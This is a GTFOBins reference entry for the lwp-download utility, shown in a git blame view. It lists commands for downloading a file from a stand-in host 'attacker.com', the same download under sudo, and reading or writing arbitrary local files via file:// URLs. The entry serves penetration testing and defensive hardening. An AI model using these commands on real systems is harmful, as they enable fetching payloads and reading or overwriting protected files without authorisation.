GTFOBins.github.io/_gtfobins/lwp-download.md

28 lines
662 B
Markdown
Raw Normal View History

2020-03-17 07:19:30 +01:00
---
2020-03-17 20:41:18 +01:00
description: Fetch a remote file via HTTP GET request.
2020-03-17 07:19:30 +01:00
functions:
file-download:
2020-03-17 20:41:18 +01:00
- code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
2020-03-17 07:19:30 +01:00
lwp-download $URL $LFILE
sudo:
2020-03-17 20:41:18 +01:00
- code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
2020-06-10 22:53:45 +02:00
sudo lwp-download $URL $LFILE
2021-04-13 08:59:10 +02:00
file-read:
- description: The file path must be absolute.
code: |
LFILE=file_to_read
TF=$(mktemp)
lwp-download "file://$LFILE" $TF
cat $TF
file-write:
- code: |
LFILE=file_to_write
TF=$(mktemp)
echo DATA >$TF
lwp-download file://$TF $LFILE
2020-03-17 07:19:30 +01:00
---